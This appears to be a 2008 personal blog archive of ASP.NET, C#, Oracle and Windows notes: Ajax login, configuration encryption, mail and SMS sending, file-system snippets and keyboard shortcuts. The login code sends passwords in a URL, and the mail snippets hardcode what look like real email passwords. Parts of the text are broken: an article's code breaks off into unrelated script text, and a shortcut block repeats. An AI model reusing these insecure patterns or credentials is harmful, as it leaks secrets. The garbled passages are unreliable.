Tuesday, December 30, 2008

configure msoutlook & outlookexpress

http://www.emailaddressmanager.com/tips/mail-settings.html

http://mail.google.com/support/bin/answer.py?answer=12103

http://mail.google.com/support/bin/answer.py?answer=12103

http://mail.google.com/support/bin/answer.py?answer=76147


http://mail.google.com/support/bin/answer.py?answer=13276

Friday, December 12, 2008

water mark or background fixed and content scroll

/* First write this code in stylesheet.css*/
body
{
background-attachment:fixed;
background-image:url("img/Sunset.jpg");
background-repeat:no-repeat;
}

/* now link the stylesheet to the page in Head tag by using*/
link href ="stylesheet.css" type ="text/css" rel="stylesheet" /

/* now write the content in the form tag of page source code*/

sqlserver interwiew question blog spot

http://blog.sqlauthority.com/2007/04/20/sql-server-interview-questions-part-6/

Thursday, December 11, 2008

Ajax In Javascript

function getUserDetail()
{

var sServerName = new String(document.location);
if (window.XMLHttpRequest) {
var XML = new XMLHttpRequest();
}
else if (window.ActiveXObject) {
var XML = new ActiveXObject("Microsoft.XMLHTTP");
}

var URL = "CheckLoginAjax.aspx?UserName=" + document.getElementById('login2').value + "&Password=" + document.getElementById('pass').value;

Type = "Type=";
XML.open("POST", URL, false);

XML.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
XML.send(Type);

var s = XML.responseText;

if (s == "I")
{
alert('Login Id does not exists.');

return false;
}
if (s == "IV")
{
alert('Your Account is deactive');
return false;
}
else if (s == "U")
{
window.location = "UserProfile.aspx";
return false;
}
else if (s == "F")
{
window.location = "FacultyProfile.aspx";
return false;
}
else if(s=="A")
{
getAdmin();
return false;
}
}

The Configuration API in .NET 2.0

The configuration API in .NET 2.0 gives us the ability to read and update configuration files, including web.config and machine.config files. You can read and write configuration files for your application, for another application on the same machine, or even an application on a different server. In this article, we will take a look at some of the highlights of the configuration API from the perspective of an ASP.NET developer, including how to use encryption and alternate configuration files.
AppSettings and Connection Strings
Two common tasks in ASP.NET development are reading application setting strings and connection strings from the configuration file. In .NET 2.0 these settings reside in the <appSettings> and <connectionStrings> respectively. A sample web.config file for an ASP.NET site might look like the following.
<?xml version="1.0"?>
<configuration xmlns="http://schemas.microsoft.com/.NetConfiguration/v2.0">

<appSettings>
<add key="message" value="Hello World!" />
</appSettings>

<connectionStrings>
<add name="AdventureWorks" connectionString="..."/>
<add name="pubs" connectionString="..."/>
</connectionStrings>

<system.web>
<compilation debug="true" />
<authentication mode="Windows"/>
<identity impersonate="true"/>
</system.web>

</configuration>
The configuration API for ASP.NET developers begins with the WebConfigurationManager class in the System.Web.Configuration namespace. The WebConfigurationManager includes static (shared) properties to fetch application settings and connection string. For example, to read the “message” appSetting from the web.config we could use the following code:
string message;
message = WebConfigurationManager.AppSettings["message"];
Similarly, if we want to grab the second connection string, the connection with the name of “pubs”, we could use the following code:
string connectionString =
WebConfigurationManager.ConnectionStrings["pubs"].ConnectionString;
The configuration API makes easy work of reading any setting in a configuration file using the GetSection static method. GetSection takes an XPath expression to indicate the section you want to get, and you can coerce the resulting object reference into a strongly typed reference for built-in section types. For instance, there is an AuthorizationSection class to manipulate the settings inside the <authorization> section, and a PagesSection class to manipulate the settings in the <pages> section.
If we want to write out the value of the impersonate attribute in the <identity> section of web.config, we could use the following:
protected void readImpersonationButton_Click(object sender, EventArgs e)
{
// note: currently broken in BETA2, works in post BETA2 builds.
// in BETA2 GetSection returns a wrapper
// that will not cast to IdentitySection
IdentitySection section;
section = WebConfigurationManager.GetSection("system.web/identity")
as IdentitySection;

if (section != null)
{
WriteMessage("Impersonate = " + section.Impersonate);
}
}

private void WriteMessage(string message)
{
// this method assumes a PlaceHolder control
// on the web form with the ID of messagePlaceHolder
HtmlGenericControl generic = new HtmlGenericControl();
generic.InnerHtml = message;
messagePlaceHolder.Controls.Add(generic);
}
Modify Configuration Files
The WebConfigurationManager class also allows us to open a web configuration for update using the static method OpenWebConfiguration. We can open a configuration file inside of our application by passing just a relative path. We can also read configuration files in other applications by passing the IIS sitename and a virtual directory. It’s even possible to open application configuration files on another machine.
If we want to toggle the debug attribute in the <compilation>section of the web.config for the current application from true to false and back again, we could use the following code in the event handler for a button click event:
protected void toggleDebugButton_Click(object sender, EventArgs e)
{
Configuration config;
config = WebConfigurationManager.OpenWebConfiguration("~");

CompilationSection compilation;
compilation = config.GetSection("system.web/compilation")
as CompilationSection;

if (compilation != null)
{
compilation.Debug = !compilation.Debug;
config.Save();
WriteMessage(
"Debug setting is now: " + compilation.Debug
);
}
}
Using a strongly typed CompilationSection object allows to use to read and write the attributes inside a <compilation> section. We can make changes to this section (and any others) and save all the changes at once using the Save method of the System.Configuration.Configuration object returned from OpenWebConfiguration.
There are a few caveats to updating configuration files. First, your application will need write permissions on the file. Typically, the NETWORK SERVICE and ASPNET accounts used by the runtime do not have write permissions on files and directories in an application’s home folder. One safe way to approach the problem is the technique used here - a combination of Windows authentication and impersonation. These settings allow the request to execute with the identity of the client. If the client has write permissions to the configuration file, the above snippet will be successful.
Another caveat is that the ASP.NET runtime watches web.config and will restart the web application when a change occurs. Specifically, the runtime will create a new instance of your application inside of a new AppDomain anytime you write to web.config. A restart can have a performance impact, so writing to web.config should not occur often.
If you need more control over permissions and application restarts when it comes to updating web.config, you might want to look at using external configuration sources, as described in the next section.
Using an External Configuration Source
You can take any configuration section and place the section into it’s own, dedicated file.. As an example, let’s take a look at a new version of our web.config file:
<?xml version="1.0"?>
<configuration xmlns="http://schemas.microsoft.com/.NetConfiguration/v2.0">

<appSettings configSource="appSettings.config"/>

<connectionStrings configSource="connections.config"/>

<system.web>
<compilation debug="true" />
<authentication mode="Windows"/>
<identity impersonate="true"/>
</system.web>
</configuration>
In this example, we’ve moved our <appSettings> and <connectionStrings> sections into external files. These external files will be XML fragments containing a single section element, for instance, the appSettings.config file will look like the following.
<appSettings>
<add key="message" value="Hello World!"/>
</appSettings>
Using an external configuration source can be useful in a number of scenarios. For instance, you could place a section into an external configSource if you needed an easy method to swap settings for the section depending on the environment (development, test, or production).
You could also use an external configSource if you needed granular control over permissions. For instance, you could lock down your web.config file so that only Administrators could modify the file, but keep the <appSettings> section in an external file that additional roles could modify
There is an additional benefit to using an external file, and that is the ability to have some amount of control over application restarts. If the web.config files changes, the application will restart – there is no alternative. However, if you move a section into an external file, you can tell the runtime if it should, or should not restart the application when the external configuration source changes.
If you look inside of the machine.config file for your computer, in the <configSections> area, you’ll see where a section handler type is defined for each configuration section. Each <section> entry can include an attribute: restartOnExternalChanges. Notice the <section> configuration for the appSettings section uses restartOnExternalChanges="false". This means if your appSettings section lives in an external file, and changes are made to the file, the application will not restart, but you will see the new values in calls to WebConfigurationManager.AppSettings.
Use restartOnExternalChanges with some care, as some parameters can truly only take effect if the application restarts. If you do set restartOnExternalChanges to false for a section, make sure not to cache the parameters for the section in our application, and always read values through the WebConfigurationManager.
Using Encryption
Encrypting an entire section of a configuration file is straightforward with the 2.0 configuration API. There are several configuration areas where sensitive information may appear, for instance, the <connectionStrings> section may contain database usernames and passwords, the <identity> section will contain a username and password when you need the runtime to impersonate a fixed identity. You may even keep a password for a third party web service in appSettings or a custom section. Whenever secrets like these appear, consider encrypting the section instead of leaving the secrets and passwords in plain text.
Note: there are sections that may contain passwords that you cannot encrypt, namely the <processModel> section. You can still use the Aspnet_setreg.exe tool to store a password for this section securely.
The following section of code shows how easy it is to protect (encrypt) and unprotect (decrypt) an entire configuration section. (Note: you do not need to unprotect a section in order to read configuration settings from the section. The runtime will read the encrypted data and perform the decryption necessary for your application to read the plain text values. The Unprotect method call is here to demonstrate how to return a section to unencrypted form).
protected void toggleEncryptionButton_Click(object sender, EventArgs e)
{
Configuration config;
config = WebConfigurationManager.OpenWebConfiguration("~");

ConnectionStringsSection section;
section = config.GetSection("connectionStrings")
as ConnectionStringsSection;

if (section.SectionInformation.IsProtected)
{
section.SectionInformation.UnprotectSection();
}
else
{
section.SectionInformation.ProtectSection(
"DataProtectionConfigurationProvider"
);
}

config.Save();
WriteMessage("connections protected = " +
section.SectionInformation.IsProtected);
}
If we were to examine our web.config file after toggling encryption to on, we’d notice the configuration API has added some additional information:
<?xml version="1.0"?>
<configuration xmlns="http://schemas.microsoft.com/.NetConfiguration/v2.0">

<protectedData>
<protectedDataSections>
<add name="connectionStrings"
provider="DataProtectionConfigurationProvider"
inheritedByChildren="false" />
</protectedDataSections>
</protectedData>
<appSettings configSource="appSettings.config"/>

<connectionStrings configSource="connections.config"/>

<system.web>
<compilation debug="true" />
<authentication mode="Windows"/>
<identity impersonate="true"/>
</system.web>
</configuration>
In addition, we’d find our connectionStrings.config file would contain a cipherValue instead of plaintext connection strings. (Note: we do not need to use an external configuration source to take advantage of encryption, the configuration API would have happily encrypted the connection strings section if it lived inside of web.config).
<connectionStrings>
<EncryptedData>
<CipherData>
<CipherValue>AQAAANCMnd8BF....</CipherValue>
</CipherData>
</EncryptedData>
</connectionStrings>
At runtime, the configuration API will decrypt sections on the fly. We can still use WebConfigurationManager.ConnectionStrings to return connection strings usable by our application.
To understand what we are seeing in the configuration file, we first need to realize that the runtime turns to a configuration encryption provider for encryption and decryption work. The two providers shipping in .NET 2.0 are the DataProtectionConfigurationProvider and the RSAProtectedConfigurationProvider (you can also implement your own protected configuration provider if need be). We can specify the provider we want to use in the string passed to the ProtectSection method, as seen in the earlier source code snippet. In our example we are using the DataProtectionConfigurationProvider.
The DataProtectionConfigurationProvider uses the Windows Data Protection API (DPAPI) underneath the covers. This provider a machine-specific secret key for encryption and decryption work. Because the DataProtectionConfigurationProvider relies on a machine-specific key, you can only decrypt cipher text that was encrypted on the same machine.
If you need to move configuration files with encrypted sections from machine to machine, you’ll need the RSAProtectedConfigurationProvider. The RSAProtectedConfigurationProvider, as the name would imply, uses RSA public key encryption. You can work with the RSAProtectedConfigurationProvider from the command line tool aspnet_regiis, which includes options to create a keypair (-pc), export a keypair (-px), import a keypair (-pi), grant access to a keypair (-pa), remove access (-pr), and more. Command line arguments also allow you to specify which encryption provider to use.
In Summary
The configuration API and associated command line tools offer flexibility and convenience in updating, encrypting, and managing configuration files. When modifying configuration files, think about application restart issues and how to ensure write permissions to the configuration files.

youtube api

<p><object width="425" height="344"><br />
<param name="movie" value="http://www.youtube.com/v/cTnXDDgG91Q&hl=en&fs=1"></param>
<param name="allowFullScreen" value="true"></param>
<param name="allowscriptaccess" value="always"></param><embed src="http://www.youtube.com/v/cTnXDDgG91Q&hl=en&fs=1" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="425" height="344"></embed></object></p>

Monday, December 8, 2008

set Default button of user define control

Write this code in user define control page

page load event

Page.Form.DefaultButton = btn_login.UniqueID;

where btn_login is the button id in userdefine control

Wednesday, December 3, 2008

flash in asp.net

<object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=7,0,0,0" width="744" height="124" id="impressflash" align="middle">
<param name="allowScriptAccess" value="sameDomain" />
<param name="movie" value="/Portals/0/Skins/ImpressiveSkinOrange/images/impressflash.swf" />
<param name="quality" value="high" />
<param name="wmode" value="transparent" />
<param name="bgcolor" value="#ffffff" />
<embed src="/Portals/0/Skins/ImpressiveSkinOrange/images/impressflash.swf" quality="high" wmode="transparent" bgcolor="#ffffff" width="744" height="124" name="impressflash" align="middle" allowScriptAccess="sameDomain" type="application/x-shockwave-flash" pluginspage="http://www.macromedia.com/go/getflashplayer" />
</object>

Tuesday, December 2, 2008

oracleDba blogspot

http://arjudba.blogspot.com/

sid in oracle 9i

SID---is the name of the database.
TNSNAMES.ORA-----This files contains the information which is used by the system to connect to oracle database.
TNS means Transparent Network Substrate (TNS)
This file is usually located at the following path.

.....\oracle\product\10.2.0\db_1\NETWORK\ADMIN

or

D:\oracle\ora90\NETWORK\ADMIN\tnsnames.ora

It contains several informations like

PROTOCOL
HOST IP ADDRESS
PORTNO
SID
etc


A typical entry in this file looks like this.
Expand|Select|Wrap|Line Numbers
1. MES =
2. (DESCRIPTION =
3. (ADDRESS = (PROTOCOL = TCP)(HOST = 10.35.15.1)(PORT = 1521))
4. (CONNECT_DATA = (SID = MES))
5.
Reply


SID is the name of the Database to which we are connecting to
The full form of SID is SystemIdentifier which should be unquie in the TNS.ora file
TNS file contains info , through which the System connects to Oracle Database.

TNS file contains

1)PROTOCOL ( Mostly TCP..TransmissionControlProtocol)
2)HOST IP ADDRESS (Where the Database is resided ..Generally we call it as Server.Even the DSCP number acts as substitute)
3)PORTNUMBER ( 1521..Widely used by oracle)
4)SID (the name we provide for DataBase)
5)SERVER (Dedicated/Shared Which is defined at DB CREATION LEVEL)
Reply

Friday, November 28, 2008

How to Use an XPath on a DataSet

This small snippet shows how to use a XPath on a DataSet.
Here are the used classes:

DataRow
DataSet
XmlDataDocument
XmlNodeList
XmlNode
Here's the XML file:

<?xml version="1.0" encoding="utf-8"?>
<CategoryList>
<Category ID="01">
<Title>One</Title>
</Category>
<Category ID="03">
<Title>Three</Title>
</Category>
<Category ID="04">
<Title>Four</Title>
</Category>
<Category ID="02">
<Title>Two</Title>
</Category>
</CategoryList>
Finally, here's the code:

DataSet ds = new DataSet();
ds.ReadXml(Server.MapPath("file.xml"));

XmlDataDocument xmlDoc = new XmlDataDocument(ds);

XmlNodeList nodeList = xmlDoc.DocumentElement.SelectNodes("/CategoryList/Category[@ID=01]");

DataRow myRow;
foreach (XmlNode myNode in nodeList)
{
myRow = xmlDoc.GetRowFromElement((XmlElement)myNode);
if (myRow != null)
Response.Write(myRow[0]);
}

How to get the detail associated with the current user using C# (.NET)

Temp file name

String sFile;

sFile = Path.GetTempFileName();

Console.WriteLine("Temporary File " + sFile);

//Store the Values Temporarily in Temp file

StoreVar(sFile);


Temporary folders Name


string sPath;

sPath = Path.GetTempPath();

Console.WriteLine("Temporary Path := " + sPath );


IsPathRooted method of Path class returns a value indicating whether the specified path string contains absolute or relative path information


if (Path.IsPathRooted(@"c:\temp\") == true)

{

Console.WriteLine("Path is absolute");

}

else

{

Console.WriteLine("Path is relative");

}
To retrieve the logical MyDocuments use the following


Console.WriteLine("MyDocuments := " + Environment.GetFolderPath( Environment.SpecialFolder.MyDocuments));

To retrieve the logical desktop use the following


Console.WriteLine("Desktop := " + Environment.GetFolderPath( Environment.SpecialFolder.Desktop));

Cookies folder (FullName) can be retrieved using the following snippet

Console.WriteLine("Cookies := " + Environment.GetFolderPath( Environment.SpecialFolder.Cookies ));


ApplicationData is the directory that serves as a common repository for application-specific data for the current roaming user. It can be retrieved using


Console.WriteLine("ApplicationData := " + Environment.GetFolderPath( Environment.SpecialFolder.ApplicationData));

How to get the network domain name associated with the current user using C# (.NET)

Console.WriteLine("Domain Name := " + Environment.UserDomainName );

No of processors in the given machine can be retrieved by

Console.WriteLine("ProcessorCount := " + Environment.ProcessorCount );

Retrieve user name using .NET / How to get user name using C#

The following code will get the user name of the computer



Console.WriteLine("User Name := " + Environment.UserName);


Get Computer Name using .NET (C#)


Console.WriteLine("Machine Name := " + Environment.MachineName);

Get all Sub Directories under a folder using C# (.NET)

Get Sub Directories using C# (.NET)
Listing all subdirectories under a root directory using .NET (C#) is simple. You can use the DirectoryInfo..::.GetDirectories Method to list the directories

private static void ListDir(string rootdir)

{

try

{

DirectoryInfo[] DI = new DirectoryInfo(rootdir).GetDirectories("*.*", SearchOption.AllDirectories ) ;

foreach (DirectoryInfo D1 in DI)

{

Console.WriteLine(D1.FullName);

}

}

catch (DirectoryNotFoundException dEX)

{

Console.WriteLine("Directory Not Found " + dEX.Message);

}

catch (Exception ex)

{

Console.WriteLine(ex.Message);

}

}



Here is the overload list of GetDirectories method

Name
Description

GetDirectories()()()
Returns the subdirectories of the current directory.

GetDirectories(String)
Returns an array of directories in the current DirectoryInfo matching the given search criteria.

GetDirectories(String, SearchOption)
Returns an array of directories in the current DirectoryInfo matching the given search criteria and using a value to determine whether to search subdirectories.



C# GetDirectories()()() Method, C# GetSubDirectories Method, Dir Function in VB.NET, Dir Function in C#, List All Directories using C#, List Sub Directories using C#, How to get all subdirectories using C#

.NET GetDirectories()()() Method, .NET GetSubDirectories Method, Dir Function in VB.NET, Dir Function in .NET, List All Directories using .NET, List Sub Directories using .NET, How to get all subdirectories using .NET

Get Size of a Particular Directory using C# (.NET)

Get Directory Size using C#
One way to find the size of entire directory (including all sub-directories) is to sum up the size of all files in those directories

The following code snippet adds the size of all the files to get the directory size

private static void GetDirSize(string rootdir)

{

try

{

long DirSize = 0;

DirectoryInfo[] DI = new DirectoryInfo(rootdir).GetDirectories("*.*", SearchOption.AllDirectories);

FileInfo[] FI = new DirectoryInfo(rootdir).GetFiles("*.*", SearchOption.AllDirectories);

foreach (FileInfo F1 in FI)

{

DirSize += F1.Length;

}

Console.WriteLine("Total Size of {0} is {1} bytes", rootdir, DirSize);

}

catch (DirectoryNotFoundException dEX)

{

Console.WriteLine("Directory Not Found " + dEX.Message);

}

catch (Exception ex)

{

Console.WriteLine(ex.Message);

}

}


Get Directory Size using C#, Get SubDirectory Size using C#, SearchOption.AllDirectories in C#, How to Search All Directories using C#, FileSize using C#, How to get directory size using C#

Get Directory Size using .NET, Get SubDirectory Size using .NET, SearchOption.AllDirectories in .NET, How to Search All Directories using .NET, FileSize using .NET, How to get directory size using .NET

Converting Date to British Date Format using C# (.NET)

Get Today’s date in British Format
Formatting dates are easy in C#. The following snippet gets the current date in British format.

private static string ConvertDate2British()

{

return String.Format("{0:dd-MM-yy}", DateTime.Now);

}


How to convert dates to British format using .NET, Date Conversion using .NET, .NET String.Format Method, Get Current Date using .NET, .NET Today Method

See also:

Formatting Date Input - DateFOrmat (SQL

Some Blogger id

http://dotnetdud.blogspot.com/search?updated-min=2008-01-01T00%3A00%3A00-08%3A00&updated-max=2009-01-01T00%3A00%3A00-08%3A00&max-results=50

Some Blogger id

http://dotnetdud.blogspot.com/search?updated-min=2008-01-01T00%3A00%3A00-08%3A00&updated-max=2009-01-01T00%3A00%3A00-08%3A00&max-results=50

send mail

http://sholliday.spaces.live.com/Blog/cns!A68482B9628A842A!138.entry


public void SendMail()
{
//Builed The MSG

System.Net.Mail.MailMessage msg = new System.Net.Mail.MailMessage();
msg.To.Add(txtemail.Text);
// msg.To.Add("1980dinesh@gmail.com");
msg.From = new MailAddress("dinesh.kumar@mobilex.in", "Friends Invitaion", System.Text.Encoding.UTF8);
msg.Subject = "Frineds";
msg.SubjectEncoding = System.Text.Encoding.UTF8;
msg.Body = "Hi" ;
msg.BodyEncoding = System.Text.Encoding.UTF8;
msg.IsBodyHtml = true;
msg.Priority = MailPriority.High;

//Add the Creddentials
SmtpClient client = new SmtpClient();
//client.UseDefaultCredentials = false;
//client.Credentials = new System.Net.NetworkCredential("dinesh.kumar@mobilex.in", "dinesh08");
//client.Port = 587;//or use 587
//client.Host = "smtp.gmail.com";
client.EnableSsl = true;

try
{
client.Send(msg);
//you can also call client.Send(msg)


}
catch (System.Net.Mail.SmtpException ex)
{

}
}
<appSettings/>
<system.net>
<mailSettings>
<smtp>
<network host="smtp.gmail.com" port="587" userName="suresh.chandra@swaransoft.com" password="xyz"/>
</smtp>
</mailSettings>
</system.net>

Send mail in asp.net

private void mail()
{
try
{
MailMessage message = new MailMessage();

message.From = new MailAddress("subudhi.suresh@gmail.com");
message.To.Add(new MailAddress("subudhi.suresh@gmail.com"));

message.Subject = "test"; // sets the subject property of message
message.Body ="hi"; // sets the body for the message

//message.Priority = MailPriority.High;
message.IsBodyHtml = false;
SmtpClient client = new SmtpClient("smtp.googlemail.com", 587);
System.Net.NetworkCredential basicAuthentication = new System.Net.NetworkCredential("suresh.chandra@swaransoft.com", "chandra08");
client.EnableSsl = true;
client.UseDefaultCredentials = false;
//Put your own, or your ISPs, mail server name onthis next line
client.DeliveryMethod = SmtpDeliveryMethod.Network;
client.Credentials = basicAuthentication;

client.Send(message);
//return true;
}
catch(Exception ex) { }
}

Tuesday, November 25, 2008

video in asp.net

< !--< object align="left" classid="CLSID:22D6F312-B0F6-11D0-94AB-0080C74C7E95" id="dd" style="width: 472px; height: 472px">
< param name="FileName" value="< %=s %>">

< %--< param name="AutoRewind" value="true">

< param name="AutoStart" value="false">

< param name="ClickToPlay" value="true">

< param name="Mute" value="false">

< param name="ShowControls" value="true">

< param name="ShowDisplay" value="true">

< param name="ShowTracker" value="true">

< param name="PlayCount" value="1">--%>
< EMBED type="video/x-ms-wmv" width="416px" height="320px" autostart="true" src="< %=s %>" URL=".\video\193.mpg" enabled="True" balance="0" currentPosition="0" enableContextMenu="True" fullScreen="False" mute="False" playCount="1" rate="1" stretchTofit="False" uiMode="3" >

< /embed>
< /object>-

Tuesday, November 18, 2008

how to send sms to mobile in asp.net(C#)

You should get the API from SMS gateway box manufacturer.


Visit this might shed a light on it.

http://www.ozekisms.com/index.php?owpn=230

http://www.smsxchange.com/main/default.asp

It also has been discussed here.

http://forums.asp.net/t/1193672.aspx


1. First of all you should have the SMS Package for sending SMS

2. Suppose if you've then right click on application in VS and select Add Web Referrence...

3. You've to add this in Web Config AppSettings



add this in u r code or you can customize in your own way




private bool SendSms(string mobileNo)
{
try
{
mobileNo = "Internation Code 1" + mobileNo.Substring(1, mobileNo.Length - 1);
BulkSingleSend mySms = new BulkSingleSend();
Boolean ServiceStatus = mySms.IsServiceAlive();
string smsBody = System.Configuration.ConfigurationManager.AppSettings["smsbody"].ToString();
string result = mySms.SendSMS("From", "Subject", mobileNo.Text, TextBox1.Text);
return true;
}
catch
{
return false;
}
}



Note: When you add Web Referrence in your Application you'll find three new files with extention .disco, .wsdl, .discomap extention files.

private void Send_Click(
object sender, System.EventArgs e)
{
try
{
SmsTest.net.webservicex.www.SendSMS smsIndia=
new SmsTest.net.webservicex.www.SendSMS();
SmsTest.com.webservicex.www.SendSMSWorld smsWorld =
new SmsTest.com.webservicex.www.SendSMSWorld();
if(rdoType.SelectedValue == "1")
smsIndia.SendSMSToIndia(txtMobileNo.Text.Trim(),
txtEmailId.Text.Trim(), txtMessage.Text);
else
smsWorld.sendSMS(txtEmailId.Text.Trim(),
txtCountryCode.Text.Trim(), txtMobileNo.Text.Trim(),
txtMessage.Text);
lblMessage.Visible = true;
lblMessage.Text="Message Send Succesfully";
}
catch(Exception ex)
{
lblMessage.Visible = true;
lblMessage.Text="Error in Sending message"+ex.ToString();
}
}

Sunday, November 16, 2008

Great articles on Data Structures and Collections in .NET

Hi,

I would recommend reading these below mentioned articles from MSDN for any programmer who wants to develop or is developing using Microsoft .NET Framework technologies.

Part 1: An Introduction to Data Structures
Part 2: The Queue, Stack, and Hashtable
Part 3: Binary Trees and BSTs
Part 4: Building a Better Binary Search Tree
Part 5: From Trees to Graphs
Part 6: Efficiently Representing Sets

Posted by chirag at 6:27 PM 0 comments

Labels: .NET Concepts, .NET Examples, .NET Framework, C# .NET, VB .NET

Data Structures in .NET


Why data structures are important, and their effect on the performance of an algorithm. To determine a data structure's effect on performance, we'll need to examine how the various operations performed by a data structure can be rigorously analyzed. Finally, we'll turn our attention to two similar data structures present in the .NET Framework: the Array and the List. Chances are you've used these data structures in past projects. In this article, we'll examine what operations they provide and the efficiency of these operations.

The Queue and Stack. Like the List, both the Queue and Stack store a collection of data and are data structures available in the .NET Framework Base Class Library. Unlike a List, from which you can retrieve its elements in any order, Queues and Stacks only allow data to be accessed in a predetermined order. We'll examine some applications of Queues and Stacks, and see how these classes are implemented in the .NET Framework. After examining Queues and Stacks, we'll look at hashtables, which allow for direct access like an ArrayList, but store data indexed by a string key.

While arrays and Lists are ideal for directly accessing and storing contents, when working with large amounts of data, these data structures are often sub-optimal candidates when the data needs to be searched. The binary search tree data structure, which is designed to improve the time needed to search a collection of items. Despite the improvement in search time with the binary tree, there are some shortcomings. SkipLists, which are a mix between binary trees and linked lists, and address some of the issues inherent in binary trees.

A graph is a collection of nodes, with a set of edges connecting the various nodes. For example, a map can be visualized as a graph, with cities as nodes and the highways between them as edged between the nodes. Many real-world problems can be abstractly defined in terms of graphs, thereby making graphs an often-used data structure.

Finally, in Part 6 we'll look at data structures to represent sets and disjoint sets. A set is an unordered collection of items. Disjoint sets are a collection of sets that have no elements in common with one another. Both sets and disjoint sets have many uses in everyday programs, which we'll examine in detail in this final part.

Part 1: An Introduction to Data Structures

Technorati Tags: Data Structures, C# .NET, .NET framework, ArrayList, .NET Collections
Posted by chirag at 10:01 AM 0 comments

Labels: .NET Concepts, .NET Framework, C# .NET

Creating / Writing XML Documents with the XmlTextWriter Class

The .NET Framework provides a class designed specifically to create XML documents, theSystem.Xml.XmlTextWriter class. By using this class to create XML documents you don't need to worry about illegal XML characters in the text portion of the XML document, and the end code is much cleaner. In this article we'll look at using the XmlTextWriter class to create XML documents on the fly.

The Basics of the XmlTextWriter Class
The 
XmlTextWriter class contains a number of methods that are useful for starting and completing an XML document and for adding elements and attributes to the XML document. The most important methods are:

  • WriteStartDocument() - you should call this method to start creating an XML document. This will create the first line in the XML document, specifying that the file is an XML document and its encoding.
  • WriteStartElement(string) - this method creates a new element in the XML document with the name specified by the string input parameter. (You can also specify a namespace as a second, optional string parameter.)
  • WriteElementString(nametext_value) - If you want to create an XML element with nothing but text content (i.e., no nested elements), you can use this method.
  • WriteAttributeString(namevalue) - this method writes an attribute name and value to the current element.
  • WriteEndElement() - this method closes off the element created in theWriteStartElement(string) method call.
  • WriteEndDocument() - this method completes the writing of the XML document.
  • Close() - this method closes the underlying stream, writing the contents of the XML document to the specified file location.

To get started using the XmlTextWriter class you need to specify the file and encoding in the class's constructor. The encoding needs to be of the type System.Text.Encoding; some example encoding values are: System.Text.Encoding.ASCIISystem.Text.Encoding.Unicode, andSystem.Text.Encoding.UTF8. Alternatively, you can specify in the constructor that the output of the XmlTextWriter class should be squirted out to a specified Stream.

Creating a Simple XML Document with XmlTextWriter
To demonstrate using the 
XmlTextWriter class let's create a simple XML document, saving it to a specified file location. This XML document will contain information about the current user visiting the page, and will have this structure:



URL referrer info

User agent referrer info

languages info


date/time the page was visited">

visitor's IP address

raw URL requested


(This XML file structure was chosen so that it would illustrate using all of the XmlTextWritermethods discussed in the previous section.)

The code needed to create this XML document through an ASP.NET Web page is shown below:

<%@ Import Namespace="System.Xml" %>

<%@ Import Namespace="System.Text" %>

;";

Now, load this script when ever needed like this ,for ex, write the below code in page_load function

Page.RegisterStartupScript("AlertScript", firstscript);


thats all folks .....

How to Open a Popup window when button clicked?
To popup a window when a button clicked, similar to above

Create one string variable

String popupscript= ";";

now register this script to the page element as same as above

Page.RegisterStartupScript("PopUpWindow", popupscript);


write this in Button click event...

Monday, November 3, 2008

Keyboard Shortcuts for Windows XP

To Press
Set focus on a notification. Windows Key+B
View properties for the selected item. ALT+ENTER
Displays the properties of the selected object. ALT+Enter
Cycle through items in the order they were opened. ALT+ESC
"Close the active item, or quit the active program. ALT+F4
Opens the shortcut menu for the active window. ALT+SPACEBAR
Display the System menu for the active window. ALT+SPACEBAR
Switch between open items. ALT+TAB
Carry out the corresponding command or select the corresponding option in a dialog box. ALT+Underlined letter
Display the corresponding menu. ALT+Underlined letter in a menu name
Select a button if the active option is a group of option buttons in a dialog box. Arrow keys
View the folder one level up in My Computer or Windows Explorer. BACKSPACE
Open a folder one level up if a folder is selected in the Save As or Open dialog box in a dialog box. BACKSPACE
Copy selected item. CTRL while dragging an item
Select all. CTRL+A
Copy. CTRL+C
Move the insertion point to the beginning of the next paragraph. CTRL+DOWN ARROW
Display the Start menu. CTRL+ESC
Close the active document in programs that allow you to have multiple documents open simultaneously. CTRL+F4
Move the insertion point to the beginning of the previous word. CTRL+LEFT ARROW
Move the insertion point to the beginning of the next word. CTRL+RIGHT ARROW
Create shortcut to selected item. CTRL+SHIFT while dragging an item
Highlight a block of text. CTRL+SHIFT with any of the arrow keys
Move backward through tabs in a dialog box. CTRL+SHIFT+TAB
Move forward through tabs in a dialog box. CTRL+TAB
Move the insertion point to the beginning of the previous paragraph. CTRL+UP ARROW
Paste. CTRL+V
Search for computers. CTRL+Windows Key+F
Cut. CTRL+X
Undo. CTRL+Z
Delete. DELETE
Display the bottom of the active window. END
Carry out the command for the active option or button in a dialog box. ENTER
Cancel the current task. ESC
Display Help in a dialog box. F1
Activate the menu bar in the active program. F10
Rename selected item. F2
Search for a file or folder. F3
Display the Address bar list in My Computer or Windows Explorer. F4
Display the items in the active list in a dialog box. F4
Refresh the active window. F5
Cycle through screen elements in a window or on the desktop. F6
Display the top of the active window. HOME
Switch MouseKeys on and off. Left ALT +left SHIFT +NUM LOCK
Switch High Contrast on and off. Left ALT +left SHIFT +PRINT SCREEN
Open the next menu to the left, or close a submenu. LEFT ARROW
Collapse current selection if it's expanded, or select parent folder. LEFT ARROW
Display the items in the active list in a dialog box. F4
Refresh the active window. F5
Cycle through screen elements in a window or on the desktop. F6
Display the top of the active window. HOME
Switch MouseKeys on and off. Left ALT +left SHIFT +NUM LOCK
Switch High Contrast on and off. Left ALT +left SHIFT +PRINT SCREEN
Open the next menu to the left, or close a submenu. LEFT ARROW
Collapse current selection if it's expanded, or select parent folder. LEFT ARROW
Display the items in the active list in a dialog box. F4
Refresh the active window. F5
Cycle through screen elements in a window or on the desktop. F6
Display the top of the active window. HOME
Switch MouseKeys on and off. Left ALT +left SHIFT +NUM LOCK
Switch High Contrast on and off. Left ALT +left SHIFT +PRINT SCREEN
Open the next menu to the left, or close a submenu. LEFT ARROW
Collapse current selection if it's expanded, or select parent folder. LEFT ARROW
Display the shortcut menu for the selected item. Menu key
Switch ToggleKeys on and off. NUM LOCK for five seconds
Display all subfolders under the selected folder. NUM LOCK+ASTERISK on numeric keypad (*)
Collapse the selected folder. NUM LOCK+MINUS SIGN on numeric keypad (-)
Display the contents of the selected folder. NUM LOCK+PLUS SIGN on numeric keypad (+)
Open the next menu to the right, or open a submenu. RIGHT ARROW
